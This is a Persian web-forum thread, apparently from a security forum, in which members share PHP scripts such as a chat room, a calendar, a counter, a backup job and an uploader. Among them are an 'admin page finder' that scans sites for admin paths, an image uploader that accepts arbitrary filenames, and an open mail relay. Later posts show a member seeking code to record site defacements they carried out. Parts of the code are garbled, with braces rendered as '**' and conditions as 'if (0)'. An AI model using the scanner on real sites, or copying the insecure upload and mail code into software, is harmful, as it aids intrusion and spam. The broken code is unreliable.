<script type="text/javascript">
<!--
window.location = "check.php?id=<?echo $ID?>&url=<?echo $URL?>&str=<?echo $STR?>"
//-->
</script>
اما در قسمت بعد اطلاعاتی که بوسیله متد GET ارسال شده اند را مورد پردازش قرار می گیرند تا صحت آن تایید شود و سپس مورد پردازش قرار گیرند:
$URL = $_GET['url'];
$URL=stripslashes($URL);
$URL=HTMLSpecialChars($URL);
$ID = $_GET['id'];
$ID=stripslashes($ID);
$ID=HTMLSpecialChars($ID);
$STR = $_GET['str'];
$STR=stripslashes($STR);
$STR=HTMLSpecialChars($STR);
# !url_exists($URL)
ادامه دارد...
Sil3nt Di3
03-13-2011, 09:33 PM
بعد از دریافت اطلاعات و بررسی آنها می رسیم به دستور شرطی که عدم صحت آدرس رو به ما گوشزد میکنه:
if (0)
**
echo "<font color='red'>ERROR</font> : ".$URL." seems to be down.<br>";
ولی اگه صحیح بود می ره برای پردازش. در این قسمت برنامه ما میاد و فایل list.txt رو باز انتخاب می کنه، اون رو باز می کنه و شروع به خوندنش می کنه و در نهایت این فایل رو می بنده:
if (0)
**
echo "<font color='red'>ERROR</font> : ".$URL." seems to be down.<br>";
} else **
$filename = "./list.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
$testme = explode("\n", $contents);
با استفاده از تابع explode کلمات بعد از n\ ( که در واقع نقش همون اینتر خودمون رو داره ایفا میکنه) را از هم جدا می کنه!
در شرط بعد برنامه ما چک می کنه ببینه کلمات داخل فایل که اونا رو خونده با مسیر بعد از آدرس سایت یکی هست یا نه...
و در نهایت مورد بررسی قرار می گره:
if ($testme[$ID] == NULL)
**
echo "script (c) by Jan Dlabal, admin [at] houbysoft [dot] com.<br><a href="/">Restart script</a>";
echo "<font color='yellow'>FINISHED</font><br>Admin pages found:<br>";
echo $STR;
} else **
$URL_test = $URL.$testme[$ID];
echo "<font color='green'>now testing</font> : ".$URL_test."<br>";
echo "<font color='yellow'>admin pages found so far</font> : ".$STR."<br>";
if (url_exists($URL_test))
**
if ($STR != "")
$STR .= ", ";
$STR .= $URL_test;
}
$ID++;
include "redirect_script.inc";
}
نکته: پسوند فایل های inc در فایل ضمیمه شده بخاطر راحتی دوستان و تست اون در لوکال بدون مشکل، تغییر کرده است...
موفق باشید...
Sil3nt Di3
03-15-2011, 09:03 PM
سلام دوستان...
اسکریپتی رو که امرزو براتون آماده کردم اسکریپتی هست که یه سیستم انتخاب واحد ساده رو بهتون نشون می ده و شما می تونید ازش الگو بگیرید ...
موفق باشید...
Sil3nt Di3
03-17-2011, 09:00 PM
سلام دوستان امروز یه اسکریپت براتون آماده کردم که در واقع اسکریپت چت آنلاین هست... البته برای استفاده در لوکال نیاز به یه سری تغییرات هست مثلا short_open_tag فعال بشه...
امیدوارم خوشتون بیاد...
موفق باشید...
Sil3nt Di3
03-18-2011, 09:53 PM
طبق درخواست برخی دوستان و قولی که داده بودم این اسکریپت رو امروز براتون آماده کردم که حالشو ببرید:57:
این اسکریپت بسیار سریع تر و کارآمدتر از اسکریپت های قبلی می باشد...
نصبش هم کاری نداره:
1- ساخت دیتابیس به نام chat (می تونید اسمش رو هرچی دوست دارید بذارید ولی حتما در فایل زیر مشخص کنید)
2- ویرایش فایل /lib/config.php طبق اطلاعات سرور بانک اطلاعاتی
3- اجرای فایل install.php در مسیر مربوطه و پاک کردن آن
4- رفتن دوباره به مسیر
مسیر فایل:
.:: اسکریپت آجاکس چت روم ::. ([Only registered and activated users can see links])
فایل تست شده کاملا درست می باشد...
موفق باشید....
Sil3nt Di3
03-20-2011, 11:34 AM
سلام دوستان...
امروز براتون اسکزیپتی رو آماده کردم که بوسیله اون می تونید تقویم فارسی رو در سایتتون داشته باشید...
فقط کافی این اسکریپت رو include یا require کنید و از تابع jdate استفاده کنید... در فایل ضمیمه مشخص هست...
موفق باشید...
Sil3nt Di3
03-25-2011, 11:58 PM
سلام دوستان در این پست شما با نحوه چگونه کدنوشتن آمارهای بازدید سایت آشنا می شوید...
$con=mysql_connect('**********','******','******** ***');
if(!$con)
die('error in connect to db');
$select_db=mysql_select_db('test');
if(!$select_db)
die('error in select db');
$query=mysql_query('select last_visit from counter');
$field=mysql_fetch_array($query);
$now=date('Y-m-d');
if($field['last_visit']==$now)
$query='update counter set today=today+1,total=total+1';
else
$query="update counter set yesterday=today,today=1,last_visit='$now',total=to tal+1";
mysql_query($query);
$query=mysql_query('select * from counter');
$field=mysql_fetch_array($query);
echo "
بازدیدهای امروز : $field[today]
بازدیدهای دیروز : $field[yesterday]
کل بازدیدها : $field[total]
";
Sil3nt Di3
04-04-2011, 12:24 AM
سلام دوستان...
امروز با یک اسکریپت ساده ولی پر کاربرد اومدم که ممکنه خیلی از شما بدردتون بخوره...
بله اسکریپت نمایش محتویات یک دایرکتوری:
<?php
$dirname="c:/";
$dn=opendir($dirname);
while(!(($file=readdir($dn)) === false)){
echo "$file <br />";
}
?>
فلفل نبین چه ریزه...
HashoR
04-06-2011, 11:39 AM
اسکریپتی برای ساختن فایل htaccess. با چند کلیک
htaccess. چیست : فایلی می باشد که با ساختن آن میتوانید مدیریت های زیادی را بر سایت خود داشته باشید .
وظیفه ی این فایل : تقریبا تمامی محدودیت های اعمالی بر سایت را بر عهده دارد و میتواند پیغام های خطا را مدیریت کند و چندین وظیفه دیگر که اگر کمی در تنظیمات آن قصور و غفلت کنید شاید سایت شما بار گذاری نشود .
کارهایی از این قبیل :
- اجازه ندادن به سایت*های دیگر برای نمایش دادن عکس*های سایت شما در سایتشان
- اجازه ندادن به آی.پی*های خاص بریا ورود به کل سایت
- نمایش یک عکس خاص به جای عکس*های سایت شما که در سایت*های دیگر قرار دارند
- ری.دایرکت (Redirect) کردن کاربران به یک آدرس جدید
و کارهایی از این قبیل …:73:
ما را چه به ابنـــــــــــــــــــ... حرفا...!
پسورد: ashiyane.org
منبع: Ashiyane Digital Security Team
تشــــــــــــــــــکر نشانه رضایت است.
موفق باشید. :61:
Sil3nt Di3
04-26-2011, 01:37 AM
سلام دوستان..
این اسکریپت که امروز براتون گذاشتم مربوط هست به ارسال ایمیل:
<?php
//Write by SilENtDi3 >>> Ashiyane Digital Security Team
$to = $_GET['to'];
$subject = $_GET['sub'];
$message = $_GET['message'];
$header = "SilENtDi3";
mail($to, $subject, $message, $header);
?>
<html>
<head>
<title>Mail Sender!</title>
</head>
<body>
<center>
<br><br>
<table>
<form method="get" name="sendmail" >
<tr><td><b>To:</b></td><td><input type="text" name="to"></td></tr>
<tr><td><b>Subject:</b></td><td><input type="text" name="sub"></td></tr>
<tr><td><b>Message:</b></td><td><textarea rows="15" cols="50" name="message"></textarea></td></tr>
<tr><td colspan="2" align="center"><input type="submit" name="sendmail" value="Send Mail !"></td></tr><br>
</form>
</table>
</center>
</body>
</html>
موفق باشید...
Mr.Amir-Masoud
05-03-2011, 06:13 PM
سلام یک اسکریپت یکی از دوستان نوشته بود که براتون قرار میدمش!!!
جالبه!!!
امکانات سیستم:
قرار دادن فیلم آموزشی با نام،موضوع،لینک دانلود
قرار دادن ابزار های امنیتی با نام،نوع زبان برنامه نویسی،لینک دانلود
قسمت پشتیبانی سایت با مدیریت
ارسال مطالب و مدیریت کامل وبسایت و…
نام کاربری مدیریت: amir
رمز عبور: ۱۲۳۴۵۶
Download ([Only registered and activated users can see links])
ali-farahani
06-18-2011, 09:26 PM
سلام خدمت دوستان عزیز
بهترین سورس و اولین سورس رو در تاپیک قرار می دم
این سورس یک دیکشنری می باشد ایت دیکشنری یک بانک لغت با فرمت txt دارد که شما می توانید به آن بانک کلمه اضافه کنید یا کلمه بردارید
من فایل رو پیوست کردم می توانید از پایین دانلود کنید
موفق و سربلند باشید دوستان ...
Hijacker
06-24-2011, 05:28 AM
Backup all MySQL databases automagicly with the PHP admin script
Server administration software like Cpanel, Plesl, Webmin etc have already their backup solutions. But they are runned mostly once a week or max a day because of performance reasons. Let say we just want to backup all of our mysql-databases every 2 hours.
To do this:
Create a directory like /backup/mysql
Save code below under something like backup_mysql.php
Chmod it to 755
Run it manually or with cronjobs /root/scripts/backup_mysql.php
#!/usr/bin/php
<?php
// use this if your php.ini does not allow shell etc #!/usr/bin/php -n
$mysql_root_pwd = "YOUR-MYSQL-ROOT-PASSWORD";
function formattime() { return date("Y-m-d H:i:s"); }
echo "Starttime: ". formattime();
mysql_connect("localhost","root","$mysql_root_pwd");
$r = mysql_query("show databases");
while( $arr = mysql_fetch_array($r) ){
$db = $arr[0];
echo "\n\nExporting $db\n" . formattime() . "\n";
echo shell_exec("/usr/bin/mysqldump -u root --password='$mysql_root_pwd' $db > /backup/mysql/".$db.".sql");
}
echo "\n\nEndtime: ". formattime() . "\n\n";
echo mysql_error();
mysql_close();
Hijacker
06-24-2011, 05:43 AM
پیش نمایش ([Only registered and activated users can see links])
<?php
/**
* Smart Image Uploader by @cafewebmaster.com
* Free for private use
* Please support us with donations or backlinks
*/
$upload_image_limit = 5; // How many images you want to upload at once?
$upload_dir = ""; // default script location, use relative or absolute path
$enable_thumbnails = 1 ; // set 0 to disable thumbnail creation
##################### THUMBNAIL CREATER FROM GIF / JPG / PNG
function make_thumbnails($updir, $img){
$thumbnail_width = 80;
$thumbnail_height = 60;
$thumb_preword = "thumb_";
$arr_image_details = GetImageSize("$updir"."$img");
$original_width = $arr_image_details[0];
$original_height = $arr_image_details[1];
if( $original_width > $original_height ){
$new_width = $thumbnail_width;
$new_height = intval($original_height*$new_width/$original_width);
} else {
$new_height = $thumbnail_height;
$new_width = intval($original_width*$new_height/$original_height);
}
$dest_x = intval(($thumbnail_width - $new_width) / 2);
$dest_y = intval(($thumbnail_height - $new_height) / 2);
if($arr_image_details[2]==1) { $imgt = "ImageGIF"; $imgcreatefrom = "ImageCreateFromGIF"; }
if($arr_image_details[2]==2) { $imgt = "ImageJPEG"; $imgcreatefrom = "ImageCreateFromJPEG"; }
if($arr_image_details[2]==3) { $imgt = "ImagePNG"; $imgcreatefrom = "ImageCreateFromPNG"; }
if( $imgt ) {
$old_image = $imgcreatefrom("$updir"."$img");
$new_image = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
imageCopyResized($new_image,$old_image,$dest_x,
$dest_y,0,0,$new_width,$new_height,$original_width ,$original_height);
$imgt($new_image,"$updir"."$thumb_preword"."$img");
}
}
################################# UPLOAD IMAGES
foreach($_FILES as $k => $v){
$img_type = "";
### $htmo .= "$k => $v<hr />"; ### print_r($_FILES);
if( !$_FILES[$k]['error'] && preg_match("#^image/#i", $_FILES[$k]['type']) && $_FILES[$k]['size'] < 1000000){
$img_type = ($_FILES[$k]['type'] == "image/jpeg") ? ".jpg" : $img_type ;
$img_type = ($_FILES[$k]['type'] == "image/gif") ? ".gif" : $img_type ;
$img_type = ($_FILES[$k]['type'] == "image/png") ? ".png" : $img_type ;
$img_rname = $_FILES[$k]['name'];
$img_path = $upload_dir.$img_rname;
copy( $_FILES[$k]['tmp_name'], $img_path );
if($enable_thumbnails) make_thumbnails($upload_dir, $img_rname);
$feedback .= "Image and thumbnail created $img_rname<br />";
}
}
############################### HTML FORM
while($i++ < $upload_image_limit){
$form_img .= '<label>Image '.$i.': </label> <input type="file" name="uplimg'.$i.'"><br />';
}
$htmo .= '
<p>'.$feedback.'</p>
<form method="post" enctype="multipart/form-data">
'.$form_img.' <br />
<input type="submit" value="Upload Images!" style="margin-left: 50px;" />
Powered by <a href="[Only registered and activated users can see links]">Cafe Webmaster</a>
</form>
';
echo $htmo;
Hijacker
06-24-2011, 06:19 AM
<?php
$pwd = $_POST['pwd'];
if( strlen($pwd) < 8 ) {
$error .= "Password too short! <br />";
}
if( strlen($pwd) > 20 ) {
$error .= "Password too long! <br />";
}
if( strlen($pwd) < 8 ) {
$error .= "Password too short! <br />";
}
if( !preg_match("#[0-9]+#", $pwd) ) {
$error .= "Password must include at least one number! <br />";
}
if( !preg_match("#[a-z]+#", $pwd) ) {
$error .= "Password must include at least one letter! <br />";
}
if( !preg_match("#[A-Z]+#", $pwd) ) {
$error .= "Password must include at least one CAPS! <br />";
}
if( !preg_match("#\W+#", $pwd) ) {
$error .= "Password must include at least one symbol! <br />";
}
if($error){
echo "Password validation failure(your choise is weak): $error";
} else {
echo "Your password is strong.";
}
Hijacker
06-24-2011, 06:21 AM
Do you need to configure phpMyAdmin to login automagicly without prompted for username and password? I needed two hours to get it works, do not spend so much time and just follow steps below:
1. Download PhpMyAdmin
2. unzip phpmyadmin
3. create a file named "config.inc.php" with following content and replace login information with yours
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 3.3.2 setup script by Piotr Przybylski <[Only registered and activated users can see links]>
* Date: Thu, 29 Apr 2010 11:20:23 +0200
*/
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = '';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'YOUR_DB_USERNAME';
$cfg['Servers'][$i]['password'] = 'YOUR_DB_PASSWORD';
$cfg['Servers'][$i]['verbose_check'] = false;
$cfg['Servers'][$i]['only_db'] = array (
0 => 'PUBLIC_DB_FOR_THIS_PMA',
);
$cfg['Servers'][$i]['hide_db'] = '#MY_SECOND_HIDDEN_COMPANIES_DB#i';
/* End of servers configuration */
$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['blowfish_secret'] = '"4bd94c36753d6ee2.2987282742';
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>
Hijacker
06-24-2011, 06:22 AM
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Mouseover Images with CSS</title>
<style type="text/css">
div.hover_images {
float: left;
height: 120px;
width: 90px;
border: 1px solid #abc;
background: url(image1.jpg) no-repeat; background-position: center;
}
div.hover_images:hover {
background: url(image2.jpg) no-repeat;
background-position: center;
}
</style>
</head>
<body>
<h1>Mouseover Images with CSS</h1>
<div class="hover_images"></div>
<p> This is an example, how to use two background-images to make javascript-like mouseover effect. We use two background-images; the second one appears just when mouse comes over div-area.
</p>
</body>
</html>
zare20
06-24-2011, 05:16 PM
سلام، من به تازگی به این انجمن اومدم. امید وارم که دوست خوبی برای هم باشیم.
من این اسکریپت رو خودم ساختم. آدرسشم: [Only registered and activated users can see links] ([Only registered and activated users can see links])
اگه نتونستید که سایت آپلود بسازید نگران نشید چون که این اسکریپت تستی !!! :28:thumbsup
لطفاً یه سری هم به سایت آپلودم بزنید و چند تا عکس آپلود کنید ...
[Only registered and activated users can see links] ([Only registered and activated users can see links])
اگه قالبی چیزی می خواید به من بگید من براتون می سازم ...
اسکریپت رو می تونید دریافت کنید. :92:
رمز عبور: [Only registered and activated users can see links]
به کوچکی یا بزرگی رمز عبور دقت کنید!!!
30294
amirbigboy
07-10-2011, 12:40 AM
با سلام دوستان
از اون جایی که من تازه وارد این انجمن هستم می خواستم تشکر کنم از همه و از دوستان قدیمی خواهش کنم اگه خطایی و یا نکته ای در انتقاد و یا پیشنهاد به من داشتند بگند (pm بهتره )
این اسکریپت هایی که گذاشته می شود به ترتیب با نام
digg : اسکریپت سایت digg.com که ایرانی ها سایت هایی دارند مثل balatain .com و از این ها
imageshake اسکریپت سایت اشتراک عکس imageshake
این فعلا برای شروع ....
amirbigboy
07-10-2011, 01:30 AM
اسکریپت موتورجستوجوی عالی با دیتابیس اختصاصی به همراه قدرت indexing
اختصاصی برای اعضای اشیانه
p3rsi4nh4ck
02-25-2012, 06:40 PM
سلام دوستان
یک سوال داشتم در سایت زون(zone-h ) وقتی سایتی رو هک میکنم میره انهولد واونجا لینک اثباتش هست وقتی میریم نگاه میکنیم ایپی سایت رو زده ؟؟؟کدش کسی نداره
____
سیستم عاملش رو هم میزنه اونم کسی کدش رو نداره بده
_______
چون دارم اسکریپت زون(zone--h) رو مینویسم
Sil3nt Di3
02-26-2012, 11:50 PM
سلام دوستان
یک سوال داشتم در سایت زون(zone-h ) وقتی سایتی رو هک میکنم میره انهولد واونجا لینک اثباتش هست وقتی میریم نگاه میکنیم ایپی سایت رو زده ؟؟؟کدش کسی نداره
____
سیستم عاملش رو هم میزنه اونم کسی کدش رو نداره بده
_______
چون دارم اسکریپت زون(zone--h) رو مینویسم
یکبار به شما گفتم که برای بدست آوردن اطلاعات سیستم یکی از راه ها استفاده از برنامه های سییتمی مثل nmap هست
که برنامه هم برای شما قرار دادم
Sil3nt Di3
02-26-2012, 11:50 PM
سلام دوستان
یک سوال داشتم در سایت زون(zone-h ) وقتی سایتی رو هک میکنم میره انهولد واونجا لینک اثباتش هست وقتی میریم نگاه میکنیم ایپی سایت رو زده ؟؟؟کدش کسی نداره
____
سیستم عاملش رو هم میزنه اونم کسی کدش رو نداره بده
_______
چون دارم اسکریپت زون(zone--h) رو مینویسم
یکبار به شما گفتم که برای بدست آوردن اطلاعات سیستم یکی از راه ها استفاده از برنامه های سییتمی مثل nmap هست
که برنامه هم برای شما قرار دادم
Sil3nt Di3
02-27-2012, 12:00 AM
سلام دوستان
یک سوال داشتم در سایت زون(zone-h ) وقتی سایتی رو هک میکنم میره انهولد واونجا لینک اثباتش هست وقتی میریم نگاه میکنیم ایپی سایت رو زده ؟؟؟کدش کسی نداره
____
سیستم عاملش رو هم میزنه اونم کسی کدش رو نداره بده
_______
چون دارم اسکریپت زون(zone--h) رو مینویسم
یکبار به شما گفتم که برای بدست آوردن اطلاعات سیستم یکی از راه ها استفاده از برنامه های سییتمی مثل nmap هست
که برنامه هم برای شما قرار دادم
™Mx7.NeT
04-03-2012, 06:33 PM
ببخشید میخواستم بدونم اسکریپت یا کدی هست به این شکل که من خیلی نیاز بهش دارم
ی هصفحه باشه مثل تقویم به صورت میلادی که سه تا لیست به صورت پایین داشته باشه که یکی سال،یکی ماه و یکی روز باشه
بعد هر روز و سال و ماه رو که انتخاب کردیم بره به تصاویر و ویدیو ها و اخبار مربوط به اون روز
نمیدونم متوجه شدید یا نه
vBulletin® v3.8.4, Copyright ©2000-2012, Jelsoft Enterprises Ltd.